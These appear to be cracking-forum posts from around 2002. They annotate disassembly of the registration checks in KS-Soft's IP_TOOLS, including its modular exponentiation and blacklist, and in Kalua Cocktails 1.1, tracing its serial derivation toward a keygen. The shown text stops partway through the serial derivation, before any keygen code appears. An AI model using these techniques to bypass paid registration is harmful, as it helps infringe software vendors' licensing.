CODE:0049F2A2 add esp, 8
CODE:0049F2A5 shr bx, 1
CODE:0049F2A8 test bx, bx
CODE:0049F2AB jnz short loc_49F30E --〉跳
CODE:0049F2AD mov bx, 8000h
CODE:0049F2B1 sub edi, 2
CODE:0049F2B4 jmp short loc_49F30E
CODE:0049F2B6 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F2B6
CODE:0049F2B6 loc_49F2B6: ; CODE XREF: sub_49F15D+1BAj
CODE:0049F2B6 push esi
CODE:0049F2B7 push esi
CODE:0049F2B8 lea eax, [ebp+var_88]
CODE:0049F2BE push eax
CODE:0049F2BF call sub_49E94F //call sub_49e94f(tempBuf, pDest,pDest);！！！！！
CODE:0049F2C4 add esp, 0Ch
CODE:0049F2C7 lea edx, [ebp+var_88]
CODE:0049F2CD push edx
CODE:0049F2CE push esi
CODE:0049F2CF call sub_49E386 //copy tempBuf到 pDest
CODE:0049F2D4 add esp, 8
CODE:0049F2D7 test [edi], bx //pBuff当前bit位的值是否为1？
CODE:0049F2DA jz short loc_49F2FF
CODE:0049F2DC push [ebp+pSource] //=1继续
CODE:0049F2DF push esi
CODE:0049F2E0 lea ecx, [ebp+var_88]
CODE:0049F2E6 push ecx
CODE:0049F2E7 call sub_49E94F //call sub_49e94f(tempBuf, pDest, pSource);！！！！
//这里竟然还有pSource作参数，菜鸟一度晕菜！
CODE:0049F2EC add esp, 0Ch
CODE:0049F2EF lea eax, [ebp+var_88]
CODE:0049F2F5 push eax
CODE:0049F2F6 push esi
CODE:0049F2F7 call sub_49E386 //copy tempBuf到 pDest
CODE:0049F2FC add esp, 8
CODE:0049F2FF
CODE:0049F2FF loc_49F2FF: ; CODE XREF: sub_49F15D+17Dj
CODE:0049F2FF shr bx, 1 //bx移位
CODE:0049F302 test bx, bx
CODE:0049F305 jnz short loc_49F30E
CODE:0049F307 mov bx, 8000h
CODE:0049F30B sub edi, 2 //edi指向pBuff的当前字
CODE:0049F30E
CODE:0049F30E loc_49F30E: ; CODE XREF: sub_49F15D+14Ej
CODE:0049F30E ; sub_49F15D+157j ...
CODE:0049F30E mov eax, [ebp+var_4]
CODE:0049F311 add [ebp+var_4], 0FFFFFFFFh //当前bit位减一
CODE:0049F315 test eax, eax //遍历完pBuff?
CODE:0049F317 jnz short loc_49F2B6 --〉no则跳
CODE:0049F319 push 0
CODE:0049F31B lea edx, [ebp+var_88]
CODE:0049F321 push edx
CODE:0049F322 call sub_49E3AC
CODE:0049F327 add esp, 8
CODE:0049F32A call sub_49F0DA
CODE:0049F32F mov cx, [ebp+var_6]
CODE:0049F333 mov ds:word_4DCF68, cx
CODE:0049F33A xor eax, eax
CODE:0049F33C
CODE:0049F33C loc_49F33C: ; CODE XREF: sub_49F15D+4Ej
CODE:0049F33C ; sub_49F15D+55j ...
CODE:0049F33C pop edi
CODE:0049F33D pop esi
CODE:0049F33E pop ebx
CODE:0049F33F mov esp, ebp
CODE:0049F341 pop ebp
CODE:0049F342 retn
CODE:0049F342 sub_49F15D endp
CODE:0049F342

这里有两个call，sub_49E8B3 和 sub_49e94f。

先看sub_49e8b3, 首先将pLongIntZ的地址存入4DD76C+0。4dd76c+4开始的空间存放了16个地址，
那些地址指向的空间用来存放pLongIntZ*2^n (n=1到16）， 把pLongIntZ*2^n（n=0到16）的
最高字节存到4DD7B0+2*n, 把pLongIntZ*2^n（n=0到16）的次高字节存到4DD7D2+2*n, 便于
后面比较大小时使用。

sub_49e94f, 是最核心的函数了，好长啊，从49e94f到49f0d9，好在结构还比较简单，呵呵

来看sub_49e94f(char *pTempDest, char *pLongIntX, char *pLongIntY)

CODE:0049E94F sub_49E94F proc near ; CODE XREF: sub_49F15D+162p
CODE:0049E94F ; sub_49F15D+18Ap
CODE:0049E94F
CODE:0049E94F var_6 = word ptr -6
CODE:0049E94F var_4 = dword ptr -4
CODE:0049E94F arg_0 = dword ptr 8
CODE:0049E94F arg_4 = dword ptr 0Ch
CODE:0049E94F arg_8 = dword ptr 10h
CODE:0049E94F
CODE:0049E94F push ebp
CODE:0049E950 mov ebp, esp
CODE:0049E952 add esp, 0FFFFFFF8h
CODE:0049E955 push ebx
CODE:0049E956 push esi
CODE:0049E957 push edi
CODE:0049E958 mov edi, [ebp+arg_8]
CODE:0049E95B mov ebx, [ebp+arg_0]
CODE:0049E95E push [ebp+arg_4]
CODE:0049E961 push offset dword_4DDF74
CODE:0049E966 call sub_49E872 //该函数首先将pLongIntX的地址存入4ddf74。
4ddf74+4开始的15个DW空间存放地址，这些地
址指向的空间的值为 pLongIntX*2^n,n=1到15

CODE:0049E96B add esp, 8
CODE:0049E96E movsx eax, ds:word_4DCF68
CODE:0049E975 add eax, eax
CODE:0049E977 add eax, ebx
CODE:0049E979 add eax, 0FFFFFFFEh
CODE:0049E97C mov [ebp+var_4], eax //ebp+var4保存pTempDest的最高字地址
CODE:0049E97F mov esi, [ebp+var_4]
CODE:0049E982 sub esi, 2 //esi保存pTempDest次高字地址
CODE:0049E985 push 0
CODE:0049E987 push ebx
CODE:0049E988 call sub_49E3AC //初始化ptempDest指向的空间为0
CODE:0049E98D add esp, 8
CODE:0049E990 push edi
CODE:0049E991 call sub_49E3DB //计算pLongIntY的字长
CODE:0049E996 pop ecx
CODE:0049E997 mov [ebp+var_6], ax //pLongIntY字长存入ebp+bar_6
CODE:0049E99B cmp [ebp+var_6], 0
CODE:0049E9A0 jnz short loc_49E9A9 -->nz跳
CODE:0049E9A2 xor eax, eax
CODE:0049E9A4 jmp loc_49F0D3
CODE:0049E9A9 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049E9A9
CODE:0049E9A9 loc_49E9A9: ; CODE XREF: sub_49E94F+51j
CODE:0049E9A9 movsx edx, [ebp+var_6]
CODE:0049E9AD add edx, edx
CODE:0049E9AF add edi, edx
CODE:0049E9B1 add edi, 0FFFFFFFEh //edi保存pLongIntY的当前字的地址

CODE:0049E9B4 jmp loc_49F0BF --〉跳

CODE:0049E9B9 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049E9B9
CODE:0049E9B9 loc_49E9B9: ; CODE XREF: sub_49E94F+77Cj
CODE:0049E9B9 push ebx
CODE:0049E9BA call sub_49E83C //将pTempDest移高一个字，也就是
将pTempDest*2^16(这步非常重要噢！）
CODE:0049E9BF pop ecx
CODE:0049E9C0 test byte ptr [edi+1], 80h //比较pLongIntY当前字的第15bit,
CODE:0049E9C4 jz short loc_49E9D7
CODE:0049E9C6 push 0
CODE:0049E9C8 push ds:off_4DDFB0 //ds:off_4DDFB0存有pLongIntX*2^15的指针
CODE:0049E9CE push ebx
CODE:0049E9CF call sub_49E199 //两超长正整数相加，存回pTempDest，
//字节间的进位处理还晃了本菜一下，呵
CODE:0049E9D4 add esp, 0Ch
CODE:0049E9D7
CODE:0049E9D7 loc_49E9D7: ; CODE XREF: sub_49E94F+75j

......

CODE:0049EB12
CODE:0049EB12 loc_49EB12: ; CODE XREF: sub_49E94F+1B0j
CODE:0049EB12 test byte ptr [edi], 1
CODE:0049EB15 jz short loc_49EB28
CODE:0049EB17 push 0
CODE:0049EB19 push ds:dword_4DDF74
CODE:0049EB1F push ebx
CODE:0049EB20 call sub_49E199
CODE:0049EB25 add esp, 0Ch
CODE:0049EB28

//以上对edi+1，和edi的各个非零比特，将pTempDest加上相应的pLongIntX*2^n

CODE:0049EB28 loc_49EB28: ; CODE XREF: sub_49E94F+1C6j
CODE:0049EB28 mov ecx, [ebp+var_4]
CODE:0049EB2B mov ax, [ecx] //ax=pTempDest的最高字的值
CODE:0049EB2E sub ax, ds:word_4DD7D0 //4dd7d0保存了 pLongIntZ*2^16
的最高字的值
CODE:0049EB35 test ax, ax
CODE:0049EB38 jg short loc_49EB6B //pTempDest大就跳到49eb6b
CODE:0049EB3A test ax, ax
CODE:0049EB3D jnz short loc_49EB7C
CODE:0049EB3F mov dx, [esi] //dx=pTempDest的次高字的值
CODE:0049EB42 cmp dx, ds:word_4DD7F2 //4dd7d0保存了 pLongIntZ*2^16
的次高字的值
CODE:0049EB49 ja short loc_49EB6B //pTempDest大就跳到49eb6b
CODE:0049EB4B mov cx, [esi]
CODE:0049EB4E cmp cx, ds:word_4DD7F2
CODE:0049EB55 jnz short loc_49EB7C //小于就跳过49eb6b
CODE:0049EB57 push ds:off_4DD7AC
CODE:0049EB5D push ebx
CODE:0049EB5E call sub_49E2B7 //比较pTempDest与pLongIntZ*2^16大小
CODE:0049EB63 add esp, 8
CODE:0049EB66 test ax, ax
CODE:0049EB69 jl short loc_49EB7C //小于就跳走
CODE:0049EB6B
CODE:0049EB6B loc_49EB6B: ; CODE XREF: sub_49E94F+1E9j
CODE:0049EB6B ; sub_49E94F+1FAj
CODE:0049EB6B push 0
CODE:0049EB6D push ds:off_4DD7AC
CODE:0049EB73 push ebx
CODE:0049EB74 call sub_49E1E6 //将pTempDest指向的值减去pLongIntZ*2^16
CODE:0049EB79 add esp, 0Ch
。。。。。。
CODE:0049F068
CODE:0049F068 loc_49F068: ; CODE XREF: sub_49E94F+6DAj
CODE:0049F068 ; sub_49E94F+6F2j ...
CODE:0049F068 mov eax, [ebp+var_4]
CODE:0049F06B mov ax, [eax]
CODE:0049F06E sub ax, ds:word_4DD7B0
CODE:0049F075 test ax, ax
CODE:0049F078 jg short loc_49F0AB
CODE:0049F07A test ax, ax
CODE:0049F07D jnz short loc_49F0BC
CODE:0049F07F mov dx, [esi]
CODE:0049F082 cmp dx, ds:word_4DD7D2
CODE:0049F089 ja short loc_49F0AB
CODE:0049F08B mov cx, [esi]
CODE:0049F08E cmp cx, ds:word_4DD7D2
CODE:0049F095 jnz short loc_49F0BC
CODE:0049F097 push ds:dword_4DD76C
CODE:0049F09D push ebx
CODE:0049F09E call sub_49E2B7
CODE:0049F0A3 add esp, 8
CODE:0049F0A6 test ax, ax
CODE:0049F0A9 jl short loc_49F0BC
CODE:0049F0AB
CODE:0049F0AB loc_49F0AB: ; CODE XREF: sub_49E94F+729j
CODE:0049F0AB ; sub_49E94F+73Aj
CODE:0049F0AB push 0
CODE:0049F0AD push ds:dword_4DD76C
CODE:0049F0B3 push ebx
CODE:0049F0B4 call sub_49E1E6
CODE:0049F0B9 add esp, 0Ch

//以上依次将pTempDest与pLongIntZ*2^n（n=16到0）比较大小，大等则将pTempDest减去pLongIntZ*2^n
//看出这实值是什么了吗？是将pTempDester mod(pLongIntZ)啊!!!

CODE:0049F0BC
CODE:0049F0BC loc_49F0BC: ; CODE XREF: sub_49E94F+72Ej
CODE:0049F0BC ; sub_49E94F+746j ...
CODE:0049F0BC sub edi, 2 //下移pLongIntY的当前字
CODE:0049F0BF
CODE:0049F0BF loc_49F0BF: ; CODE XREF: sub_49E94F+65j
CODE:0049F0BF mov ax, [ebp+var_6]
CODE:0049F0C3 add [ebp+var_6], 0FFFFh
CODE:0049F0C8 test ax, ax //pLongIntY的字都读完了吗？
CODE:0049F0CB jnz loc_49E9B9 --〉nz跳
CODE:0049F0D1 xor eax, eax
CODE:0049F0D3
CODE:0049F0D3 loc_49F0D3: ; CODE XREF: sub_49E94F+55j
CODE:0049F0D3 pop edi
CODE:0049F0D4 pop esi
CODE:0049F0D5 pop ebx
CODE:0049F0D6 pop ecx
CODE:0049F0D7 pop ecx
CODE:0049F0D8 pop ebp
CODE:0049F0D9 retn
CODE:0049F0D9 sub_49E94F endp

看出来sub_49e94f(char *ptempDest, char *pLongIntX, char *pLongIntY)做了什么吗？说出来
简单s了，就是 （*pTempDest)=((*pLongIntX)*(*pLongIntY))mod (*pLongIntZ)啊！具体推理
菜鸟就不写了，手写不动了啊:) 各位应该能推得出来，不然要加油噢。

哇，菜鸟到这快写完了噢，开心啊:) 各位是不是看得也有点累了？呵呵
OK! 快要胜利了噢，现在结合sub_49F15D伪代码来看看就究竟是怎么回事吧！

sub_49f15d(char *pDest, char *pSource, char *pBuff, char *pLongIntZ)
{
初始化pLongIntZ*2^n(n=1到16，其实可以认为n=0到16）
从高位到底位找到 pBuff的第一个非0比特位，初始化（*pDest）=（*pSource);
对此后从高到底的pBuff的每个比特位
{
sub_49e94f(tempBuf, pDest,pDest);！
(*pDest)=(*tempBuf);//这两行实际上是(*pDest)=(*pDest)^2 mod (*pLongIntZ);
if(当前bit位值==1）
{
sub_49e94f(tempBuf, pDest,pSource);！
(*pDest)=(*tempBuf);//这两行实际上是(*pDest)=(*pDest)*(*pSource) mod (*pLongIntZ);
这里的pSource前期一度让偶认为无法求出逆算法
}
}
}

实质上， 最终(*pDest)=(*pSource)^m mod (*pLongIntZ) , m是由pBuff决定的一个常数！偶用*pSorce=1
试了一下，（*pDest)果然等于1，哈哈。。。还试了一个*pSource=10, *pBuff=07, 这时
*Dest=00 00 00 10，perfect！哈！

对于偶的例子，就是要求
当
sub_49f15d(char *pDest1, "happy", 4dcb62, 4dcc62)
sub_49f15d(char *pDest2, '11 11 22 22', 4dcb66, 4dce66)
*4dcc62=*4dce66
时，要求

1）*pDest1的位数=*pDest2的位数，
2）*pDest1的第8位开始的DW等于*pDest2的第8位开始的DW。
3）*pDest1的第0B位开始的字节和等于*pDest2的第0B位开始的字节和。

嗯，一切都很明了了吧！可是对于 x^m mod Z =y, m,Z常数，知道y，怎么求x? 菜鸟不会啊！应该有什
么公式吧？不知道和RSA算法有没有什么关系？不过，本菜鸟被这破程序折腾得够呛啊，实在是不想再动了。好
了，就到这里吧！IP_TOOLS，go to hell！呵呵。。。这是本菜第一次写关于破解的东东，没有什么经
验，希望各位没有看得晕菜过去噢，呵

半点星
02/02/13

标 题:2.07算法基本一样(没仔细分析)。我拦的写罗！主要的代码写出来罗！ (6千字)
发信人:DiKeN
时 间:2002-2-14 11:39:01
详细信息:

:004ACB2D 8B45F8 mov eax, dword ptr [ebp-08]
:004ACB30 8D55FC lea edx, dword ptr [ebp-04]
:004ACB33 E850B0F5FF call 00407B88====>用户名[进行预处理,去掉前后的空格]
=======>相当于Java中的Trim
:004ACB38 8B55FC mov edx, dword ptr [ebp-04]
:004ACB3B 8BC7 mov eax, edi
:004ACB3D E8E26BF7FF call 00423724
:004ACB42 8D55F8 lea edx, dword ptr [ebp-08]
:004ACB45 8B06 mov eax, dword ptr [esi]
:004ACB47 8BB8F4010000 mov edi, dword ptr [eax+000001F4]
:004ACB4D 8BC7 mov eax, edi
:004ACB4F E8A06BF7FF call 004236F4
:004ACB54 8B45F8 mov eax, dword ptr [ebp-08]
:004ACB57 8D55FC lea edx, dword ptr [ebp-04]
:004ACB5A E829B0F5FF call 00407B88====>注册码[进行预处理，处理同用户名的处理]
:004ACB5F 8B55FC mov edx, dword ptr [ebp-04]
:004ACB62 8BC7 mov eax, edi
:004ACB64 E8BB6BF7FF call 00423724
:004ACB69 8D55F8 lea edx, dword ptr [ebp-08]
:004ACB6C 8B06 mov eax, dword ptr [esi]
:004ACB6E 8B80F0010000 mov eax, dword ptr [eax+000001F0]
:004ACB74 E87B6BF7FF call 004236F4
:004ACB79 8B45F8 mov eax, dword ptr [ebp-08]
:004ACB7C E8CF8AFEFF call 00495650====>用户名黑名单检查
:004ACB81 84C0 test al, al======>al必须为0
:004ACB83 743C je 004ACBC1
==============>Black List[黑名单]<=================
'Asteriks Asteriks'
'Ruslan Raymond Morris'
'Elizabeth Wilcox'
'kathleen pelikan'
'LEUNG KAM FUNG EVA'
'BRYAN MCBRIDE'
'Wravldtrebra CMeafnvnsianwg'
'BRUSZAZ'
'Mfagrftdisne AVtatcyeuc'
'vcivrbgnimneihac shratawg'
'Duayntireelw AHtidlvl'
'Dmanvbivdc XCsadurdtlye'
'GAAESGPCATRHIUNJ TSGPYAHREIDN'
'Esldafignhe'
'Dsatvhivdt sStcnhumdesn'
'Ttihm7odtbhiys AWheclylss'
'Cclrafusdcee JPuoatyvviun'
'Wtavrurdesnt nScaedgltedr'
'Gcefotrgghej kTjhhogmfpdssorn'
'srybfytjusmc tsnyifkthuvm'
=============>End Of Black List<================
* Possible StringData Ref from Code Obj ->"Sorry, your registration name "
->"("
|
:004ACB85 68F4CD4A00 push 004ACDF4
:004ACB8A 8D55F8 lea edx, dword ptr [ebp-08]
:004ACB8D 8B06 mov eax, dword ptr [esi]
:004ACB8F 8B80F0010000 mov eax, dword ptr [eax+000001F0]
:004ACB95 E85A6BF7FF call 004236F4
:004ACB9A FF75F8 push [ebp-08]

* Possible StringData Ref from Code Obj ->") is found on the "Black List".
|
:004ACB9D 681CCE4A00 push 004ACE1C

* Possible StringData Ref from Code Obj ->"If you have any questions, please, "
->"contact KS-Soft: line1@ks-soft.net; "
->"line2@ks-soft.net"
|
:004ACBA2 6848CE4A00 push 004ACE48
:004ACBA7 8D45FC lea eax, dword ptr [ebp-04]
:004ACBAA BA04000000 mov edx, 00000004
:004ACBAF E85474F5FF call 00404008
:004ACBB4 8B45FC mov eax, dword ptr [ebp-04]
:004ACBB7 E8E480F9FF call 00444CA0
:004ACBBC E9EF010000 jmp 004ACDB0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004ACB83(C)
========>Come Here,Here is right!!!======>
:004ACBC1 8D55F8 lea edx, dword ptr [ebp-08]
:004ACBC4 8B06 mov eax, dword ptr [esi]
:004ACBC6 8B80F0010000 mov eax, dword ptr [eax+000001F0]
:004ACBCC E8236BF7FF call 004236F4
:004ACBD1 837DF800 cmp dword ptr [ebp-08], 00000000
:004ACBD5 0F84CB010000 je 004ACDA6=====>用户名是否存在
:004ACBDB 8D55F4 lea edx, dword ptr [ebp-0C]
:004ACBDE 8B06 mov eax, dword ptr [esi]
:004ACBE0 8B80F4010000 mov eax, dword ptr [eax+000001F4]
:004ACBE6 E8096BF7FF call 004236F4
:004ACBEB 837DF400 cmp dword ptr [ebp-0C], 00000000
:004ACBEF 0F84B1010000 je 004ACDA6=====>注册码是否存在
:004ACBF5 8D55F0 lea edx, dword ptr [ebp-10]
:004ACBF8 8B06 mov eax, dword ptr [esi]
:004ACBFA 8B80F0010000 mov eax, dword ptr [eax+000001F0]
:004ACC00 E8EF6AF7FF call 004236F4
:004ACC05 8B45F0 mov eax, dword ptr [ebp-10]
:004ACC08 E80713FFFF call 0049DF14====>用户名[有效长度0x40]，并产生Buf2
:004ACC0D 8BF8 mov edi, eax
===========================
$50=length(Name)*8;
$00=length(Name) div 32;
===========================
:004ACC0F 8D55F0 lea edx, dword ptr [ebp-10]
:004ACC12 8B06 mov eax, dword ptr [esi]
:004ACC14 8B80F4010000 mov eax, dword ptr [eax+000001F4]
:004ACC1A E8D56AF7FF call 004236F4
:004ACC1F 8B45F0 mov eax, dword ptr [ebp-10]
:004ACC22 E88913FFFF call 0049DFB0====>注册码[必须是十六进制的字符串]
========>中间不能有空格
========>并产生Buf1
:004ACC27 663BF8 cmp di, ax========>??是不是长度比较呢??
:004ACC2A 0F8576010000 jne 004ACDA6
:004ACC30 A198224E00 mov eax, dword ptr [004E2298]
:004ACC35 BAFF010000 mov edx, 000001FF
:004ACC3A E8B912FFFF call 0049DEF8=====>累加和Buf1[0..$1FF]
:004ACC3F 8BF8 mov edi, eax
:004ACC41 A19C214E00 mov eax, dword ptr [004E219C]
:004ACC46 BAFF010000 mov edx, 000001FF
:004ACC4B E8A812FFFF call 0049DEF8=====>累加和Buf2[0..$1FF]
:004ACC50 3BF8 cmp edi, eax
:004ACC52 0F854E010000 jne 004ACDA6
:004ACC58 A198224E00 mov eax, dword ptr [004E2298]
:004ACC5D 83C007 add eax, 00000007
:004ACC60 8B00 mov eax, dword ptr [eax]
:004ACC62 8B159C214E00 mov edx, dword ptr [004E219C]
:004ACC68 83C207 add edx, 00000007
:004ACC6B 3B02 cmp eax, dword ptr [edx]====>要求第7开始的双字必须相等
:004ACC6D 0F8533010000 jne 004ACDA6======
:004ACC73 8D55F8 lea edx, dword ptr [ebp-08]
:004ACC76 8B06 mov eax, dword ptr [esi]


Kalua Cocktails 1.1

 标 题:Kalua Cocktails 1.1完全破解,内附汇编注册机(用注册机编写器,并有它的使用教程) (22千字)
发信人:Sam.com
时 间:2002-2-27 23:54:55
详细信息:
Kalua Cocktails 1.1完全破解,内附汇编注册机(用注册机编写器,并有它的使用教程)

软件名称: Kalua Cocktails 1.1
下载地址:ftp://ftp.gekkosoft.com/pub/kalua11.exe

软件简介:
是一套教你如何调配鸡尾酒的食谱软件。这套软件收录超过1100种鸡尾酒调法，并且都附有图片说明每种鸡尾酒所含的酒精浓度和调配鸡尾酒所要购买的配料，且支持打印功能，可让你将调配鸡尾酒所需的配料打印出来，方便采购这些配料。此外，也提供输入配料来调配鸡尾酒的功能，可以自行输入配料，程序便会自动帮配料调配出哪些种类的鸡尾酒供你参考。

软件限制:未注册只可查阅100种鸡尾酒,每次退出会提示注册.注册后可查阅1000多种酒
破解原因:我是做饮食服务业的,它对我有用,可惜是E文的

    程序是用Delphi编的,Shrinker v3.4加的壳,因为这几天都在想写注册机的事,我记不起如何找到下面代码了,反正程序可以用Procdump脱壳,用Dede载入,找到注册窗口的OK按键反汇编,然后用Trw200拦截,用S命令查找输入的假信息,再用bpm设断点,细心一点就能找到了.学破解以来我一直在用Trw,但是此程序最后查表时用到了浮点运算,我用了Trw的FPU插件,可是到运算指令前一用就死机了,不知有人成功过吗,逼得我在ME里装了Ice.

这个程序的加密方法还不算很难,起码可以逆运算来获得注册码,但这个已经是我破解生涯中最难的一个了,因为它是将注册名和注册码变形来比较的,看到的都是乱七八糟的16进制数在内存中转来转去,一不留意就搞错了.破了它以后想到写个注册机,可以提高自己的水平嘛,为此我可充电了好几天啊,在此也要谢谢"注册机编写器"的作者,他在他的论坛上回答了我的不少问题,教会了我不少东西,另外还要谢谢看雪论坛!!

提醒一句,纸和笔也是破解时的重要工具!

==SN Start==================================
这里是我输入的假注册码的变形,并不复杂,而且是可逆的,就是看到如此简单我才想到要写注册机,但当我搞清楚了注册名的变形后,发现这里根本就不重要.最后得到的结果不管它,生点在下面.
公式如下:

设假注册码前12位Xor C后的数据如下
S1 S2 S3 S4 S5 S6 S7 S8 S9 S10 S11 S12

S1 xor S12 = Y1
S2 xor Y1 = Y2
.
.
S12 xor Y11=Y12

0187:004743F3 MOV EDX,0C
0187:004743F8 LEA EAX,[ESP+01]
0187:004743FC MOV CL,[EAX] <----注册码的第一位
0187:004743FE XOR CL,0C <----将它Xor C
0187:00474401 MOV [EAX],CL <----放回原位
0187:00474403 INC EAX
0187:00474404 DEC EDX
0187:00474405 JNZ 004743FC <----这里取12位,再长的注册码也是如此

0187:00474407 MOV AL,[ESP+01] <----变形后的第一位
0187:0047440B XOR AL,[ESP+0C] <----与最后一位相Xor
0187:0047440F MOV [ESP+01],AL <----放到第一位
0187:00474413 MOV EDX,0B
0187:00474418 LEA EAX,[ESP+02]
0187:0047441C MOV CL,[EAX] <----变形后的第二位
0187:0047441E XOR CL,[EAX-01] <----与再次变形后的第一位相Xor
0187:00474421 MOV [EAX],CL <----保存在第二位
0187:00474423 INC EAX
0187:00474424 DEC EDX
0187:00474425 JNZ 0047441C
==SN End=====================================

==Step 1=====================================
以下是注册名的变形,很长,要有耐性.除了我特别声明,下面的数都是16进制的.
我输入的是注册名是www.Sam.com

0167:0047449D LEA EAX,[ESP+12] <-----eax指向注册名的首地址
0167:004744A1 XOR ECX,ECX
0167:004744A3 MOV CL,[EAX] <-----注册名首位"w"放入ecx
0167:004744A5 ADD EDI,ECX <-----edi为0
0167:004744A7 INC EAX
0167:004744A8 DEC EDX <-----edx是注册名的位数
0167:004744A9 JNZ 004744A1 <-----往上跳,这里其实是将注册名的每一位依次相加,结果放入edi
0167:004744AB MOV EAX,EDI
0167:004744AD MOV ECX,FF
0167:004744B2 CDQ
0167:004744B3 IDIV ECX <-----上面相加的结果除以FF
0167:004744B5 MOV EDI,EDX <-----余数放到edi,这个数很重要,记住它,我这里是25,设为Z1
0167:004744B7 LEA EAX,[ESP+84]
0167:004744BE PUSH EAX
0167:004744BF LEA EDX,[ESP+15]
0167:004744C3 LEA EAX,[ESP+FC]

==Step 2======================================
下面的是一个Call内的内容,留意一下之前程序在内存里产生了一个字符串"Kalua2000Kal",下面就是将注册名加上此后缀,变为"www.Sam.comKalua2000Kal",然后取12位进行运算,即为"www.Sam.comK",这里我没把代码贴齐,只要留意一下就能看到的.

0167:00402CC0 PUSH ESI
0167:00402CC1 PUSH EDI
0167:00402CC2 MOV EDI,EAX
0167:00402CC4 XOR EAX,EAX
0167:00402CC6 MOV AL,[EDI]
0167:00402CC8 MOV ESI,EDX
0167:00402CCA XOR EDX,EDX
0167:00402CCC MOV DL,[ESI]
0167:00402CCE INC ESI
0167:00402CCF ADD AL,DL
0167:00402CD1 JC 00402CE5
0167:00402CD3 CMP AL,CL
0167:00402CD5 JA 00402CE5
0167:00402CD7 MOV ECX,EDX
0167:00402CD9 MOV DL,[EDI]
0167:00402CDB MOV [EDI],AL
0167:00402CDD INC EDI
0167:00402CDE ADD EDI,EDX
0167:00402CE0 REP MOVSB
0167:00402CE2 POP EDI
0167:00402CE3 POP ESI
0167:00402CE4 RET

==Step 3====================================
这里才是重要的,注册名在这里开始要变化了,怎样变我很难表达,反正结果如下(注意此时注册名为12位的"www.Sam.comK"):

w w w . S a m . c o m K K w m w o w c . . S m a
| | | | | | | | | | | | ===> | | | | | | | | | | | |
1 2 3 4 5 6 7 8 9 10 11 12 12 1 11 2 10 3 9 4 8 5 7 6

我们得到字符串"Kwmwowc..Sma"

0167:00474518 MOV EBX,01
0167:0047451D LEA EAX,[ESP+12]
0167:00474521 MOV ECX,EBX
0167:00474523 ADD ECX,ECX
0167:00474525 DEC ECX
0167:00474526 MOV EDX,0D
0167:0047452B SUB EDX,EBX
0167:0047452D MOV DL,[ESP+EDX+11]
0167:00474531 MOV [ESP+ECX+76],DL
0167:00474535 MOV DL,[EAX]
0167:00474537 MOV [ESP+ECX+77],DL
0167:0047453B INC EBX
0167:0047453C INC EAX
0167:0047453D CMP EBX,BYTE +07
0167:00474540 JNZ 00474521

==Step 4=====================================
这步也比较复杂,用"Kalua2000Kal"和"Kwmwowc..Sma"两个字符串进行运算,运算完后在内存里就看不到明码的东西了.运算的公式如下:
K w m w o w c . . S m a
| | | | | | | | | | | |
A1 A2 A3 A4 A5 A6 A7 A8 A9 A10 A11 A12

K a l u a 2 0 0 0 K a l
| | | | | | | | | | | |
B1 B2 B3 B4 B5 B6 B7 B8 B9 B10 B11 B12

A1+B1=T1
A2+Z1=T2
T1+T2=T3
T3÷FF==>edx==C1

A2+B2=T1
A3+Z2=T2
T1+T2=T3
T3÷FF==>edx==C2
.
.
.
A12+B12=T1
T1+Z2=T3
T3÷FF==>edx==C12

最后得到一组数据:
33 E2 5B DD 39 75 8D 86 D9 87 19 18

0167:00474551 MOV EBX,01 <----计数器
0167:00474556 LEA ESI,[ESP+12] <----指向"Kwmwowc..Sma"
0167:0047455A LEA EBP,[ESP+05] <----指向"Kalua2000Kal"
0167:0047455E XOR ECX,ECX
0167:00474560 MOV CL,[ESI] <----ecx="K"
0167:00474562 XOR EAX,EAX
0167:00474564 MOV AL,[EBP+00] <----eax="K"
0167:00474567 ADD ECX,EAX <----"K"+"K"结果设为T1
0167:00474569 CMP EBX,BYTE +0C <----如果到了第12位就跳
0167:0047456C JNL 00474575
0167:0047456E XOR EAX,EAX
0167:00474570 MOV AL,[ESI+01] <----eax="w"
0167:00474573 ADD EDI,EAX <----edi=25,结果设为T2,25是Step 1里的结果,edi是累加的结果,设为Z2
0167:00474575 ADD ECX,EDI <----两个结果相加T1+T2=T3,如果是第12位就免了上面一步
0167:00474577 MOV EAX,ECX
0167:00474579 MOV ECX,FF
0167:0047457E CDQ
0167:0047457F IDIV ECX <----T3除以FF,余数=edx=C1
0167:00474581 MOV ECX,EDX
0167:00474583 CMP ECX,BYTE +01
0167:00474586 JNL 0047458E
0167:00474588 ADD ECX,FF <----如果余数小于1就加上FF
0167:0047458E MOV [ESI],CL <----将余数保存
0167:00474590 INC EBX
0167:00474591 INC EBP
0167:00474592 INC ESI
0167:00474593 CMP EBX,BYTE +0D
0167:00474596 JNZ 0047455E <----这里循环完后指向"Kwmwowc..Sma"的地址就保存了变形后的数据

下面的代码是否很眼熟,其实它和Step 3是一样的,得到的数据再次移位,得到另一组数据:
18 33 19 E2 87 5B D9 DD 86 39 8D 75

0167:00474598 MOV EBX,01
0167:0047459D LEA EAX,[ESP+12]
0167:004745A1 MOV ECX,EBX
0167:004745A3 ADD ECX,ECX
0167:004745A5 DEC ECX
0167:004745A6 MOV EDX,0D
0167:004745AB SUB EDX,EBX
0167:004745AD MOV DL,[ESP+EDX+11]
0167:004745B1 MOV [ESP+ECX+76],DL
0167:004745B5 MOV DL,[EAX]
0167:004745B7 MOV [ESP+ECX+77],DL
0167:004745BB INC EBX
0167:004745BC INC EAX
0167:004745BD CMP EBX,BYTE +07
0167:004745C0 JNZ 004745A1

==Step 5=========================================
这里是核心部分了,下面其实是一个查表的过程,用上面得到的数据逐位查表,得到的字符就和真正的注册码差不多了.不过程序用了浮点运算,为了搞清楚它我还查了不少资料.

0167:004745D1 MOV EBX,09
0167:004745D6 LEA EDI,[ESP+12] <----指向上面的数据18 33 19 E2 87 5B D9 DD 86 39 8D 75
0167:004745DA LEA ESI,[ESP+77]
0167:004745DE XOR ECX,ECX
0167:004745E0 MOV CL,[EDI] <----ecx=18,这里查第1位
0167:004745E2 MOV EDX,1A <----这个1A也是个重要的东西,记住它
0167:004745E7 MOV EAX,ECX
